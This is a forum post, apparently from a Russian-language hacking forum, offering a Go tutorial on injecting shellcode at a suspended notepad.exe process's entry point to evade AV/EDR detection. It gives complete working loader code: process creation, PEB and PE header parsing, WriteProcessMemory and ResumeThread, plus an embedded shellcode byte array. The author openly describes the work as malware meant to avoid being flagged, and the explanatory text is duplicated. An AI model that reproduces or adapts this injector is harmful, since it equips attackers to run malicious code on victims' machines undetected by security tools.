Пожалуйста, обратите внимание, что пользователь заблокирован
Today we will explore a truly excellent way to perform our shellcode injections to avoid directly assigning memory with RWX permissions. Then, we will encode an example in Golang.
Explanation
The technique we will learn today is a potential way to evade AV/EDR, as most of them attempt to detect if a process has allocated memory space with RWX permissions, which could indicate a shellcode injection. Since we also want to execute the written code, if an AV/EDR detects this activity, our malware will be blocked and flagged as malicious. That's a good reason why we want to use a technique like this.
As explained in various posts, to achieve this, we need to follow a process like this:
Start a process (e.g., notepad.exe) in a suspended state (CREATE_SUSPENDED) to inject shellcode later.
Calculate the entry point address of the created process.
Write the shellcode at the entry point address.
Then, resume the thread of the process.
Finally, our shellcode executes.
In this case, we will do this using these API calls: CreateProcess, ReadProcessMemory, WriteProcessMemory, ResumeThread, and NtQueryInformationProcess.
However, you can also do this with the appropriate Nt functions like NtCreateProcess and NtReadVirtualMemory, although for brevity and simplicity, we will do it easier with the other calls: NtWriteVirtualMemory and NtResumeThread.
If you're wondering how we can calculate the entry point address, first we obtain the base of the process image, then we analyze the NT and optional headers to finally be able to find the entry point address (relative virtual address).
Lets start importing our packages.
package main
Then, we gonna import the API.
Then, we gonna add our procces:
Now, we gonna call the NtQueryInformationProcess to see our PEB position
Then, we gonna call the procces ReadProcessMemory to obtain the image base.
To calculate the entry point address, we need to analyze the DOS header and the NT header (some structures are defined but omitted here for brevity; you can refer to the final code for details.
And finally, we use WriteProcessMemory and ResumeThread to write the shellcode to the entry point address and resume the process thread.
If you have any question, leave it on the thread!
Explanation
The technique we will learn today is a potential way to evade AV/EDR, as most of them attempt to detect if a process has allocated memory space with RWX permissions, which could indicate a shellcode injection. Since we also want to execute the written code, if an AV/EDR detects this activity, our malware will be blocked and flagged as malicious. That's a good reason why we want to use a technique like this.
As explained in various posts, to achieve this, we need to follow a process like this:
Start a process (e.g., notepad.exe) in a suspended state (CREATE_SUSPENDED) to inject shellcode later.
Calculate the entry point address of the created process.
Write the shellcode at the entry point address.
Then, resume the thread of the process.
Finally, our shellcode executes.
In this case, we will do this using these API calls: CreateProcess, ReadProcessMemory, WriteProcessMemory, ResumeThread, and NtQueryInformationProcess.
However, you can also do this with the appropriate Nt functions like NtCreateProcess and NtReadVirtualMemory, although for brevity and simplicity, we will do it easier with the other calls: NtWriteVirtualMemory and NtResumeThread.
If you're wondering how we can calculate the entry point address, first we obtain the base of the process image, then we analyze the NT and optional headers to finally be able to find the entry point address (relative virtual address).
Lets start importing our packages.
package main
Код:
import (
"fmt"
"log"
"unsafe"
"syscall"
"encoding/binary"
"golang.org/x/sys/windows"
)
Then, we gonna import the API.
Код:
// Load DLLs
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
// The functions that we gonna use
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
ResumeThread := kernel32.NewProc("ResumeThread")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
Код:
fmt.Println("[*] Calling CreateProcess...")
err := windows.CreateProcess(
nil,
syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
nil,
nil,
false,
windows.CREATE_SUSPENDED,
nil,
nil,
&si,
&pi,
)
if err != nil {
log.Fatal(err)
}
Код:
fmt.Println("[*]Calling NtQueryInformationProcess...")
NtQueryInformationProcess.Call(
uintptr(pi.Process),
uintptr(info),
uintptr(unsafe.Pointer(&pbi)),
uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})),
uintptr(unsafe.Pointer(&returnLength)),
)
Then, we gonna call the procces ReadProcessMemory to obtain the image base.
Код:
pebOffset:= uintptr(unsafe.Pointer(pbi.PebBaseAddress))+0x10
var imageBase uintptr = 0
fmt.Println("[*] Calling ReadProcessMemory...")
ReadProcessMemory.Call(
uintptr(pi.Process),
pebOffset,
uintptr(unsafe.Pointer(&imageBase)),
8,
0,
)
headersBuffer := make([]byte,4096)
fmt.Println("[*] Calling ReadProcessMemory...")
ReadProcessMemory.Call(
uintptr(pi.Process),
uintptr(imageBase),
uintptr(unsafe.Pointer(&headersBuffer[0])),
4096,
0,
)
fmt.Printf("\n[*] Image Base: 0x%x\n", imageBase)
fmt.Printf("[*] PEB Offset: 0x%x\n", pebOffset)
To calculate the entry point address, we need to analyze the DOS header and the NT header (some structures are defined but omitted here for brevity; you can refer to the final code for details.
And finally, we use WriteProcessMemory and ResumeThread to write the shellcode to the entry point address and resume the process thread.
Код:
fmt.Println("\n[*] Calling WriteProcessMemory...")
WriteProcessMemory.Call(
uintptr(pi.Process),
codeEntry, // Write the shellcode in to the entry point
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0,
)
fmt.Println("[*] Calling ResumeThread...") // Finally, we recover the thread
ResumeThread.Call(uintptr(pi.Thread))
Our final code:
[CODE]package main
import (
"fmt"
"log"
"syscall"
"unsafe"
"encoding/binary"
"golang.org/x/sys/windows"
)
type IMAGE_DOS_HEADER struct {
E_lfanew uint32
}
type IMAGE_NT_HEADER struct {
Signature uint32
FileHeader IMAGE_FILE_HEADER
OptionalHeader IMAGE_OPTIONAL_HEADER
}
type IMAGE_FILE_HEADER struct {
Machine uint16
NumberOfSections uint16
TimeDateStamp uint32
PointerToSymbolTable uint32
NumberOfSymbols uint32
SizeOfOptionalHeader uint16
Characteristics uint16
}
type IMAGE_OPTIONAL_HEADER struct {
Magic uint16
MajorLinkerVersion uint8
MinorLinkerVersion uint8
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory [16]IMAGE_DATA_DIRECTORY
}
type IMAGE_DATA_DIRECTORY struct {
VirtualAddress uint32
Size uint32
}
var shellcode []byte = []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x03, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x01, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0x0f, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x02, 0xad, 0x81, 0x3c, 0x07, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x01, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x01, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
func main() {
kernel32 := windows.NewLazyDLL("kernel32.dll")
ntdll := windows.NewLazyDLL("ntdll.dll")
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
ResumeThread := kernel32.NewProc("ResumeThread")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
var info int32
var returnLength int32
var pbi windows.PROCESS_BASIC_INFORMATION
var si windows.StartupInfo
var pi windows.ProcessInformation
fmt.Println("[*] Calling CreateProcess...")
err := windows.CreateProcess(
nil,
syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"),
nil,
nil,
false,
windows.CREATE_SUSPENDED,
nil,
nil,
&si,
&pi,
)
if err != nil {
log.Fatal(err)
}
fmt.Println("[*] Calling NtQueryInformationProcess...")
NtQueryInformationProcess.Call(
uintptr(pi.Process),
uintptr(info),
uintptr(unsafe.Pointer(&pbi)),
uintptr(unsafe.Sizeof(windows.PROCESS_BASIC_INFORMATION{})),
uintptr(unsafe.Pointer(&returnLength)),
)
pebOffset := uintptr(unsafe.Pointer(pbi.PebBaseAddress)) + 0x10
var imageBase uintptr = 0
fmt.Println("[*] Calling ReadProcessMemory...")
ReadProcessMemory.Call(
uintptr(pi.Process),
pebOffset,
uintptr(unsafe.Pointer(&imageBase)),
8,
0,
)
headersBuffer := make([]byte, 4096)
fmt.Println("[*] Calling ReadProcessMemory...")
ReadProcessMemory.Call(
uintptr(pi.Process),
uintptr(imageBase),
uintptr(unsafe.Pointer(&headersBuffer[0])),
4096,
0,
)
fmt.Printf("\n[*] Image Base: 0x%x\n", imageBase)
fmt.Printf("[*] PEB Offset: 0x%x\n", pebOffset)
var dosHeader IMAGE_DOS_HEADER
dosHeader.E_lfanew = binary.LittleEndian.Uint32(headersBuffer[60:64])
ntHeader := (*IMAGE_NT_HEADER)(unsafe.Pointer(uintptr(unsafe.Pointer(&headersBuffer[0])) + uintptr(dosHeader.E_lfanew)))
codeEntry := uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint) + imageBase
fmt.Println("\n[*] Calling WriteProcessMemory...")
WriteProcessMemory.Call(
uintptr(pi.Process),
codeEntry, // write shellcode to entry point
uintptr(unsafe.Pointer(&shellcode[0])),
uintptr(len(shellcode)),
0,
)
fmt.Println("[*] Calling ResumeThread...") // finally resume thread
ResumeThread.Call(uintptr(pi.Thread))
// shellcode should have been executed at this point
fmt.Println("[+] Shellcode executed!")
}
If you have any question, leave it on the thread!